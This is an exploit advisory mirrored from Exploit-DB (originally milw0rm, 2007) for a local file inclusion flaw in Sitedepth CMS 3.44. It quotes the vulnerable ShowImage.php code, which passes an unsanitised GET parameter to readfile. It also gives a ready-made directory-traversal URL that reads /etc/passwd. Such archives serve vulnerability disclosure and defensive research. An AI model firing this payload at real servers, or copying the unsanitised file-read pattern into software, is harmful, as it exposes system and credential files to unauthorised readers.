exploit-db-mirror/exploits/php/webapps/4105.txt
Offensive Security b4c96a5864 DB: 2021-09-03
28807 changes to exploits/shellcodes
2021-09-03 20:19:21 +00:00

38 lines
No EOL
1.2 KiB
Text

__________________________________________________________________________
[*] Sitedepth CMS 3.44 Local File Include LFI Exploit
__________________________________________________________________________
[!] Application homepage : http://www.sitedepth.com/
[!] Author : H4 / Team XPK
[!] Contact : H4_XPK@hotmail.com
[!] Bug discovered : 2006-11-07
[!] Bug published : 2007-06-25
---------------------------------------------------------------------
Vuln. code: ShowImage.php
<?php
include 'sitedepth.php';
$content_type = 'image/jpeg';
$filename = SD_DIRS_REPOS . '/html/' . $_GET['name'];
$filename_show = $_GET['name'];
header ('Content-type: ' . $content_type);
header ('Content-Disposition: inline; filename=' . $filename_show);
readfile ($filename); <-------------- BAD!
?>
---------------------------------------------------------------------
[!] Exploitation : http://noobie.com/sitedepth/ShowImage.php?name=../../../../../../../../etc/passwd
---------------------------------------------------------------------
[!] Sometimes it`s time to give instead of taking :)
[!] Greetz to Angeldust & Streets and to rest of community.
# milw0rm.com [2007-06-25]